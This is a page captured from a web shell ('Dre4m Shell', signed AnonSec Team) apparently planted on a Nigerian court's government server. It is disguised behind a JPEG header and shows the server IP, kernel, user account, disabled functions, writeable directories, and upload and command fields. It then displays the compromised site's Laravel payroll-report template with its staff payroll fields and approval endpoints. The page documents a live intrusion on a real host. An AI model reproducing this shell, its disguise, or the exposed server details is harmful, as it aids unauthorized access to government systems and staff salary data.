ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.15.22.8
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/0157625183d5264f7e8c69c31ad32a0a92f2b55f.php
<!DOCTYPE html
	PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
		<link rel="shortcut icon" href="images/favicon.ico">
		<title>NATIONAL INDUSTRIAL COURT OF NIGERIA PAYROLL
			...::...Payroll Report</title>

		<link rel="stylesheet" href="<?php echo e(asset('assets/css/bootstrap.min.css')); ?>">
		<style type="text/css">
			.head-color tr td,
			.table .th-row td {
				color: #06c;
			}

			.table,
			.table tr td {
				border: 1px solid #06C;
				color: #06c;
			}

			.pr {
				display: none;
			}

			@media  print {
				.table tr .bg {
					background: #0cf !important;
					opacity: 0.8 !important;
					color: #FFF !important;
				}
			}
		</style>
		<style media="print">
			.pr {
				display: block;
			}
		</style>
		<script type="text/javascript" src="<?php echo e(asset('assets/js/number_to_word.js')); ?>"></script>
	</head>

	<body>

		<div class="row">
			<div class="col-md-12" style="font-size:20px;"><!--1st col-->

				<?php if(session('message')): ?>
					<div class="alert alert-success alert-dismissible" role="alert">
						<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span
								aria-hidden="true">&times;</span>
						</button>
						<strong>Success!</strong>
						<?php echo e(session('message')); ?>

					</div>
				<?php endif; ?>
				<?php if(session('error')): ?>
					<div class="alert alert-danger alert-dismissible" role="alert">
						<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span
								aria-hidden="true">&times;</span>
						</button>
						<strong>Error!</strong>
						<?php echo e(session('error')); ?>

					</div>
				<?php endif; ?>
			</div>
		</div>

		<div align="center">
			<h2>
				<div style="color:#06c;">NATIONAL INDUSTRIAL COURT OF NIGERIA
					<br />
					PAYROLL
				</div><br />
			</h2>
		</div>
		<div style="width:90%; margin: auto;">
			<table class="head-color" width="1802" border="0" cellpadding="0" cellspacing="0" style="font-size:18px">
				<span id="proccessingRequest" style="display:none; font-size:20px;" class="text-success"> <strong>Processing Please
						wait...</strong> </span>
				<tr>
					<td>Payroll P.V. No:</td>
					<td>
						<div align="left">Sheet No:</div>
					</td>
				</tr>
				<tr>
					<td colspan="2">
						<h3>
							MINISTRY/DEPARTMENT:
							<?php echo e(isset($courtName) ? strtoupper($courtName) : ''); ?>

							<?php echo e(isset($divisionName) ? ', ' . strtoupper($divisionName) . ' DIVISION, ' : ''); ?>

							NIGERIA
						</h3>
					</td>
				</tr>
				<tr>
					<td width="1294">
						<strong>MONTH ENDING: <?php if(session('schmonth')): ?>
								<?php echo e(session('schmonth')); ?>

							<?php endif; ?>
						</strong>
						<br />
					</td>
					<td width="508" align="rights">Date Printed: <?php echo e(date('l, F d, Y')); ?></td>
				</tr>
				<tr>
					<td><strong>

							<?php if(session('bank')): ?>
								<?php echo e(session('bank')); ?>

							<?php endif; ?>

						</strong> </td>
					<td>&nbsp;</td>
				</tr>
			</table>

			<table class="table-condense table-responsive table" border="1" cellpadding="4" cellspacing="0">
				<tr class="th-row">
					<td width="44" rowspan="2" align="center" valign="middle"><strong>SN</strong></td>
					<td width="44" rowspan="2" align="center" valign="middle"><strong>FILE NO</strong></td>
					<td width="44" rowspan="2" align="center" style="writing-mode: vertical-rl;"><strong>CHECKING</strong></td>
					<td width="44" rowspan="2" align="center" style="writing-mode: vertical-rl;"><strong>AUDIT</strong></td>
					<td width="271" rowspan="2" align="center" valign="middle"><strong>NAME</strong></td>
					<td width="23" rowspan="2" align="center" valign="middle"><strong>GL</strong></td>
					<td width="23" rowspan="2" align="center" valign="middle"><strong>ST</strong></td>
					<td width="271" rowspan="2" align="center" valign="middle"><strong>Employment Type</strong></td>
					<td colspan="<?php echo e(isset($staffEarnElement) ? count($staffEarnElement) + 3 : 3); ?>" align="center" valign="top">
						<strong>EARNINGS</strong></td>
					<td colspan="<?php echo e(isset($staffDeductionElement) ? count($staffDeductionElement) + 4 : 4); ?>" align="center"
						valign="top"><strong>DEDUCTIONS</strong></td>
					<td width="70" rowspan="2" align="center" valign="middle"><strong>TOTAL DEDUCTION.</strong></td>
					<td width="70" rowspan="2" align="center" valign="middle"><strong>NET BASIC <br /> SALARY</strong></td>
					<td width="75" rowspan="2" align="center" valign ="middle"><strong> PECULIAR </strong></td>
					<td width="75" rowspan="2" align="center" valign ="middle"><strong> TOTAL NET <BR /> EMOLUMENT </strong>
					</td>
				</tr>

				<tr>
					<td width="90" align="center" valign="middle"><strong>BASIC <br /> (CONSOLIDATED)</strong></td>
					<td width="38" align="center" valign="middle"><strong>TOTAL <BR />ARREARS <BR /> EARNING</strong></td>
					<?php if(isset($staffEarnElement) && $staffEarnElement): ?>
						<?php $__currentLoopData = $staffEarnElement; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $elementEarn): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
							<th align="center"><strong><?php echo e(strtoupper($elementEarn->description)); ?></strong></th>
							<?php $totalEarnAmount[$elementEarn->CVID] = 0.0; ?>
						<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
					<?php endif; ?>
					<td width="80" align="center" valign="middle"><strong>GROSS<br /> EMOLUMENT</strong></td>
					<td width="74" align="center" valign="middle"><strong>TAX</strong></td>
					<td width="50" align="center" valign="middle"><strong>PENSION</strong></td>
					<td width="50" align="center" valign="middle"><strong>UNION DUES</strong></td>
					<td width="85" align="center" valign="middle"><strong>NHF</strong></td>
					<?php if(isset($staffDeductionElement) && $staffDeductionElement): ?>
						<?php $__currentLoopData = $staffDeductionElement; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $elementDeduct): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
							<th align="center"><strong><?php echo e(strtoupper($elementDeduct->description)); ?></strong></th>
							<?php $totalDeductAmount[$elementDeduct->CVID] = 0.0; ?>
						<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
					<?php endif; ?>
				</tr>

				<?php
					$bstotal = 0.0;
					$hatotal = 0.0;
					$trtotal = 0;
					$furtotal = 0;
					$taxtotal = 0;
					$pectotal = 0;
					$utitotal = 0;
					$drtotal = 0;
					$sertotal = 0;
					$e_arrearstotal = 0;
					$e_otherstotal = 0;
					$pentotal = 0;
					$nhftotal = 0;
					$d_arrearstotal = 0;
					$d_othertotal = 0;
					$earntotal = 0;
					$deducttotal = 0;
					$netpaytotal = 0;
					$uniontotal = 0;
					$totalNetEmolu = 0;
					$totalSot = 0;
					$k = 1;
					$medAllowanceTotal = 0;
					$cooptotal = 0;
					$salAdvancetotal = 0;
					$coopLoantotal = 0;
					$coopSavingtotal = 0;
				?>

				<?php $__currentLoopData = $payroll_detail; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $reports): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
					<?php
						$fileNo = str_replace('/', '-', $reports->fileNo);
					?>
					<tr>
						<td align="right"><?php echo e($k++); ?></td>
						<td align="right"><?php echo e($reports->fileNo); ?></td>
						<td align="right">
							<?php if($reports->vstage == 3 && $userRole->can_check == 1): ?>
								<?php if($reports->checking_verified == 1): ?>
									
									<input type="checkbox" checked="checked" name="unCheckChecking" id="unCheckChecking"
										data-staffId=<?php echo e($reports->staffid); ?> data-month=<?php echo e($reports->month); ?> data-yr=<?php echo e($reports->year); ?> />
								<?php else: ?>
									<input type="checkbox" name="checkingChecked" id="checkingChecked" data-staffId=<?php echo e($reports->staffid); ?>

										data-month=<?php echo e($reports->month); ?> data-yr=<?php echo e($reports->year); ?>>
								<?php endif; ?>
							<?php elseif($reports->checking_verified == 1): ?>
								<span class="text-danger"><strong> ok </strong></span>
							<?php endif; ?>

						</td>
						<td>
							<?php if($reports->vstage == 4 && $userRole->can_audit == 1): ?>
								<?php if($reports->audit_verified == 1): ?>
									
									<input type="checkbox" checked="checked" name="auditUnChecked" id="auditUnChecked"
										data-staffId=<?php echo e($reports->staffid); ?> data-month=<?php echo e($reports->month); ?> data-yr=<?php echo e($reports->year); ?> />
								<?php else: ?>
									<input type="checkbox" name="auditChecked" id="auditChecked" data-staffId=<?php echo e($reports->staffid); ?>

										data-month=<?php echo e($reports->month); ?> data-yr=<?php echo e($reports->year); ?>>
								<?php endif; ?>
							<?php elseif($reports->audit_verified == 1): ?>
								<span class="text-warning"><strong> ok </strong></span>
							<?php endif; ?>
						</td>
						<td align="left" valign="middle" nowrap="nowrap"><a class="hidden-print" target ="_blank"
								href="<?php echo e(url("/con-pecard/getCard/$reports->staffid/$reports->year")); ?>"><?php echo e($reports->name); ?></a> <span
								class="pr"><?php echo e($reports->name); ?></span></td>
						<td width="23" align="center" valign="middle"> <?php echo e($reports->grade); ?> </td>

						<td width="23" align="center" valign="middle"> <?php echo e($reports->step); ?> </td>
						<td width="271" align="center" valign="middle"> <?php echo e($reports->employmentType); ?> </td>

						<td width="75" align="right"><?php $bstotal += $reports->Bs; ?> <?php echo e(number_format($reports->Bs, 2, '.', ',')); ?></td>
						<?php if($reports->AEarn == ''): ?>
							<td width="66" align="right"><?php $e_arrearstotal += $reports->AEarn; ?><?php echo e(number_format($reports->AEarn, 2, '.', ',')); ?></td>
						<?php else: ?>
							<td width="66" align="right">
								<?php $e_arrearstotal += $reports->AEarn; ?><a class="hidden-print"
									href="<?php echo e(url("/con-payrollReport/arrears/$reports->courtID/$reports->staffid/$reports->year/$reports->month")); ?>"
									target="_blank"><?php echo e(number_format($reports->AEarn, 2, '.', ',')); ?></a><span
									class="pr"><?php echo e(number_format($reports->AEarn, 2, '.', ',')); ?></span></td>
						<?php endif; ?>

						<?php
							$sumEarnAmount = 0.0;
							$sumDeductAmount = 0.0;
							$sumEarnGross = 0;
						?>
						<?php $__currentLoopData = $staffEarnElement; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $element): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
							<?php

								$earningResult = $allEarnDeduction->filter(function ($item) use ($reports, $element) {
								    return $item->staffid == $reports->staffid && $item->CVID == $element->CVID;
								});
								$getEarnAmount = $earningResult->sum('amount');
								$sumEarnGross += $getEarnAmount;

								$totalEarnAmount[$element->CVID] += $getEarnAmount;
							?>
							<td width="66" align="right"><?php echo e(number_format($getEarnAmount, 2, '.', ',')); ?></td>
						<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>

						<td width="80" align="right" class="bg" style="background:#0cf; opacity:0.8">
							<?php $earntotal += $reports->Bs + $reports->AEarn + $sumEarnGross; ?>
							<strong>
								<?php echo e(number_format($reports->Bs + $reports->AEarn + $sumEarnGross, 2, '.', ',')); ?>

							</strong>
						</td>
						<td width="52" align="right"><?php $taxtotal += $reports->TAX; ?> <?php echo e(number_format($reports->TAX, 2, '.', ',')); ?></td>
						<td width="74" align="right"><?php $pentotal += $reports->PEN; ?> <?php echo e(number_format($reports->PEN, 2, '.', ',')); ?></td>
						<td width="74" align="right"><?php $uniontotal += $reports->UD; ?> <?php echo e(number_format($reports->UD, 2, '.', ',')); ?></td>
						<td width="50" align="right"><?php $nhftotal += $reports->NHF; ?> <?php echo e(number_format($reports->NHF, 2, '.', ',')); ?></td>
						<?php $__currentLoopData = $staffDeductionElement; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $elementDec): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
							<?php
								$deductionResult = $allEarnDeduction->filter(function ($item) use ($reports, $elementDec) {
								    return $item->staffid == $reports->staffid && $item->CVID == $elementDec->CVID;
								});
								$getDeductAmount = $deductionResult->sum('amount');

								$totalDeductAmount[$elementDec->CVID] += $getDeductAmount;
							?>
							<td width="85" align="right"><?php echo e(number_format($getDeductAmount, 2, '.', ',')); ?></td>
						<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
						<td width="82" align="right" class="bg" style="background:#0cf;opacity:0.8;"><?php $deducttotal += $reports->TD; ?>
							<strong> <?php echo e(number_format($reports->TD, 2, '.', ',')); ?></strong></td>
						<td width="82" align="right"><?php $netpaytotal += $reports->NetPay - $reports->PEC; ?><?php if($reports->employment_type == 5): ?>
								<?php echo e(number_format($reports->NetPay, 2, '.', ',')); ?>

							<?php else: ?>
								<?php echo e(number_format($reports->NetPay - $reports->PEC, 2, '.', ',')); ?>

							<?php endif; ?>
						</td>
						<td width="82" align="right" valign="middle">
							<?php $pectotal += $reports->employment_type == 5 ? 0 : $reports->PEC; ?>
							<?php echo e($reports->employment_type == 5 ? 0.0 : number_format($reports->PEC, 2, '.', ',')); ?>

						</td>
						<td width="82" align="right"><?php $totalNetEmolu += $reports->NetPay; ?> <?php echo e(number_format($reports->NetPay, 2, '.', ',')); ?></td>
					</tr>
				<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>

				<tr>
					<td colspan="7" align="right"><strong>TOTAL</strong></td>

					<td align="right"><strong><?php echo e(number_format($bstotal, 2, '.', ',')); ?></strong></td>
					<td align="right"><strong><?php echo e(number_format($e_arrearstotal, 2, '.', ',')); ?> </strong></td>
					<?php $__currentLoopData = $staffEarnElement; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $element): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
						<td width="66" align="right"><?php echo e(number_format($totalEarnAmount[$element->CVID], 2, '.', ',')); ?></td>
					<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
					<td align="right"><strong><?php echo e(number_format($earntotal, 2, '.', ',')); ?></strong></td>
					

					<td align="right"><strong><?php echo e(number_format($taxtotal, 2, '.', ',')); ?></strong></td>
					<td align="right"><strong><?php echo e(number_format($pentotal, 2, '.', ',')); ?> </strong></td>
					<td align="right"><strong><?php echo e(number_format($uniontotal, 2, '.', ',')); ?> </strong></td>

					<td align="right"><strong><?php echo e(number_format($nhftotal, 2, '.', ',')); ?></strong></td>
					<?php $__currentLoopData = $staffDeductionElement; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $elementDec): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
						<td width="85" align="right"><?php echo e(number_format($totalDeductAmount[$elementDec->CVID], 2, '.', ',')); ?></td>
					<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
					<td align="right"><strong><?php echo e(number_format($deducttotal, 2, '.', ',')); ?></strong></td>
					<td align="right"><strong><?php echo e(number_format($netpaytotal, 2, '.', ',')); ?></strong></td>
					<td align="right"><strong><?php echo e(number_format($pectotal, 2, '.', ',')); ?></strong></td>
					<td align="right"><strong><?php echo e(number_format($totalNetEmolu, 2, '.', ',')); ?></strong></td>

				</tr>
			</table>

			<div class="pull-right">
				<p>------------------------------20-------------------------------------------</p>
				<p class="text-right" style="margin-right:50px;">SIGNATURE</p>
				<br />
				<p>---------------------------------------------------------------------------</p>
				<p class="text-center">PAYING OFFICER STAMP</p>
			</div>

			<h2 class="hidden-print" style="margin-top:10px; color:green; margin-left:20px;">KEY</h2>
			<!--Table Key -->

		</div>
		<!-- Table Key -->

		<br>
		<div style="margin-left:30px;">
			<h2 class="hidden-print"> <a class="hidden-print" type="submit" class="btn btn-success btn-sm pull-right"
					href = "<?php echo e(URL::previous()); ?>">Back</a>
			</h2>

			<a
				href="/payroll-comments/<?php echo e($payroll_detail[0]->divisionID); ?>/<?php echo e($payroll_detail[0]->year); ?>/<?php echo e($payroll_detail[0]->month); ?>"
				class="btn btn-primary" style="margin-bottom: 10px;" type="button">
				View Comment's
			</a>

			<div>
				<input type="hidden" value="<?php echo e($bankName); ?>" id="selectedBankName">

				<div id="selBankName">
					<?php if($payroll_detail): ?>
						<?php if($payroll_detail[0]->vstage == 1 && $userRole->can_submit_salary == 1): ?>
							<div class="row">
								<div class="pull-left">
									<form action="<?php echo e(url('/submit-salary')); ?>" method="post">
										<?php echo e(csrf_field()); ?>

										<input type="hidden" name="division" value="<?php echo e($payroll_detail[0]->divisionID); ?>">
										<input type="hidden" name="year" value="<?php echo e($payroll_detail[0]->year); ?>">
										<input type="hidden" name="month" value="<?php echo e($payroll_detail[0]->month); ?>">
										<button type="submit" class="btn btn-success"> Submit Salary </button>
									</form>
								</div>

								
							</div>
						<?php elseif($payroll_detail[0]->vstage == 2 && $userRole->can_authorize_salary == 1): ?>
							<?php echo $__env->make('payrollReport_con.includeSalary', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?>
						<?php elseif($payroll_detail[0]->vstage == 3 && $userRole->can_check == 1): ?>
							<?php echo $__env->make('payrollReport_con.includeChecking', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?>
						<?php elseif($payroll_detail[0]->vstage == 4 && $userRole->can_audit == 1): ?>
							<?php echo $__env->make('payrollReport_con.includeAudit', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?>
						<?php elseif($payroll_detail[0]->vstage == 5 && $userRole->can_cpo == 1): ?>
							<?php echo $__env->make('payrollReport_con.includeCpo', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?>
						<?php endif; ?>
					<?php else: ?>
						<?php echo e('No record'); ?>

					<?php endif; ?>
				</div>
			</div>

		</div>

		<div id="commentsModal" class="modal fade">
			<div class="modal-dialog box box-default" role="document">
				<div class="modal-content">
					<div class="modal-header">
						<h4 class="modal-title">Comments on this salary</h4>
						<button type="button" class="close" data-dismiss="modal" aria-label="Close">
							<span aria-hidden="true">&times;</span>
						</button>
					</div>
					<div class="modal-body">

						<div style="background-color: lightblue; height: 150px; overflow: scroll;">
							<?php $key = 1 ?>
							<?php if(count($allcomments) > 0): ?>
								<?php $__currentLoopData = $allcomments; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $key => $listComment): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
									<div align="left" class="col-xs-12">
										<?php echo e($key + 1); ?>. &nbsp; <?php echo e($listComment->name . ' - ' . $listComment->comment); ?> <br> Created Date: <i
											class="text-info"> <?php echo e($listComment->updated_at); ?> </i>
										<hr style="margin: 1px 0px; solid #000!important; " />
									</div>
								<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
							<?php else: ?>
								<div class="col-xs-12 text-danger" align="center"> No comment found! </div>
							<?php endif; ?>

						</div>

					</div>

				</div>
			</div>
		</div>

	</body>

	<script src="<?php echo e(asset('/assets/js/jQuery-2.2.0.min.js')); ?>"></script>
	<script src="<?php echo e(asset('/assets/js/bootstrap.min.js')); ?>"></script>
	<script>
		$(document).ready(function() {
			var a = $('#selectedBankName').val()
			if (a !== "") {
				$("#selBankName").hide()
			}
			//set selected bank to zero because it prenvents jquery check box if you don't select bank
			var a = 0

			if (a = 0) {
				//for checking to check
				$('#checkingChecked').each(function() {
					$('input[name="checkingChecked"]').click(function() {
						console.log($(this).attr('data-staffId'))
						console.log($(this).attr('data-month'))
						console.log($(this).attr('data-yr'))
						console.log("clicked checkbox 1")
						$('#proccessingRequest').show()
						$.ajax({
							type: "post",
							url: "/checking/verified",
							data: {
								'checked': 1,
								'staffId': $(this).attr('data-staffId'),
								'month': $(this).attr('data-month'),
								'yr': $(this).attr('data-yr'),
								'_token': $('input[name=_token]').val()
							},
							dataType: "json",
							success: function(response) {
								console.log(response)
								// location.reload(true)
								$('#proccessingRequest').hide()
							}
						});
					})

				})

				//for checking to uncheck
				$('#unCheckChecking').each(function() {
					$('input[name="unCheckChecking"]').click(function() {
						console.log($(this).attr('data-staffId'))
						console.log($(this).attr('data-month'))
						console.log($(this).attr('data-yr'))
						console.log("clicked uncheck box")
						$('#proccessingRequest').show()
						$.ajax({
							type: "post",
							url: "/checking/verified",
							data: {
								'checked': 0,
								'staffId': $(this).attr('data-staffId'),
								'month': $(this).attr('data-month'),
								'yr': $(this).attr('data-yr'),
								'_token': $('input[name=_token]').val()
							},
							dataType: "json",
							success: function(response) {
								console.log(response)
								// location.reload(true)
								$('#proccessingRequest').hide()
							}
						});

					})
				})

				//for audit to check
				$('#auditChecked').each(function() {
					$('input[name="auditChecked"]').click(function() {
						$('#proccessingRequest').show()
						$.ajax({
							type: "post",
							url: "/audit/verified",
							data: {
								'checked': 1,
								'staffId': $(this).attr('data-staffId'),
								'month': $(this).attr('data-month'),
								'yr': $(this).attr('data-yr'),
								'_token': $('input[name=_token]').val()
							},
							dataType: "json",
							success: function(response) {
								// location.reload(true)
								$('#proccessingRequest').hide()
							}
						});
					})
				})

				//for audit to uncheck
				$('#auditUnChecked').each(function() {
					$('input[name="auditUnChecked"]').click(function() {
						$('#proccessingRequest').show()
						$.ajax({
							type: "post",
							url: "/audit/verified",
							data: {
								'checked': 0,
								'staffId': $(this).attr('data-staffId'),
								'month': $(this).attr('data-month'),
								'yr': $(this).attr('data-yr'),
								'_token': $('input[name=_token]').val()
							},
							dataType: "json",
							success: function(response) {
								// location.reload(true)
								$('#proccessingRequest').hide()
							}
						});
					})
				})


			} else {
				//for checking to check
				$('#checkingChecked').each(function() {
					$('input[name="checkingChecked"]').click(function() {
						console.log($(this).attr('data-staffId'))
						console.log($(this).attr('data-month'))
						console.log($(this).attr('data-yr'))
						console.log("clicked checkbox 1")
						$('#proccessingRequest').show()
						$.ajax({
							type: "post",
							url: "/checking/verified",
							data: {
								'checked': 1,
								'staffId': $(this).attr('data-staffId'),
								'month': $(this).attr('data-month'),
								'yr': $(this).attr('data-yr'),
								'_token': $('input[name=_token]').val()
							},
							dataType: "json",
							success: function(response) {
								console.log(response)
								// location.reload(true)
								$('#proccessingRequest').hide()
							}
						});
					})
				})

				$('#unCheckChecking').each(function() {
					//for checking to uncheck
					$('input[name="unCheckChecking"]').click(function() {
						console.log($(this).attr('data-staffId'))
						console.log($(this).attr('data-month'))
						console.log($(this).attr('data-yr'))
						console.log("clicked uncheck box")
						$('#proccessingRequest').show()
						$.ajax({
							type: "post",
							url: "/checking/verified",
							data: {
								'checked': 0,
								'staffId': $(this).attr('data-staffId'),
								'month': $(this).attr('data-month'),
								'yr': $(this).attr('data-yr'),
								'_token': $('input[name=_token]').val()
							},
							dataType: "json",
							success: function(response) {
								console.log(response)
								// location.reload(true)
								$('#proccessingRequest').hide()
							}
						});

					})
				})

				//for audit to check
				$('#auditChecked').each(function() {
					$('input[name="auditChecked"]').click(function() {
						$('#proccessingRequest').show()
						$.ajax({
							type: "post",
							url: "/audit/verified",
							data: {
								'checked': 1,
								'staffId': $(this).attr('data-staffId'),
								'month': $(this).attr('data-month'),
								'yr': $(this).attr('data-yr'),
								'_token': $('input[name=_token]').val()
							},
							dataType: "json",
							success: function(response) {
								// location.reload(true)
								$('#proccessingRequest').hide()
							}
						});
					})
				})

				//for audit to uncheck
				$('#auditUnChecked').each(function() {
					$('input[name="auditUnChecked"]').click(function() {
						$('#proccessingRequest').show()
						$.ajax({
							type: "post",
							url: "/audit/verified",
							data: {
								'checked': 0,
								'staffId': $(this).attr('data-staffId'),
								'month': $(this).attr('data-month'),
								'yr': $(this).attr('data-yr'),
								'_token': $('input[name=_token]').val()
							},
							dataType: "json",
							success: function(response) {
								// location.reload(true)
								$('#proccessingRequest').hide()
							}
						});
					})
				})
			}

			$(document).ready(function() {
				$("#comments").click(function(e) {
					e.preventDefault();
					jQuery('#commentsModal').modal('show')
				})
			})

		})
	</script>

</html>
<?php /**PATH /home/nicngo5/grp.nicn.gov.ng/resources/views/payrollReport_con/summary.blade.php ENDPATH**/ ?>

Anon7 - 2022
AnonSec Team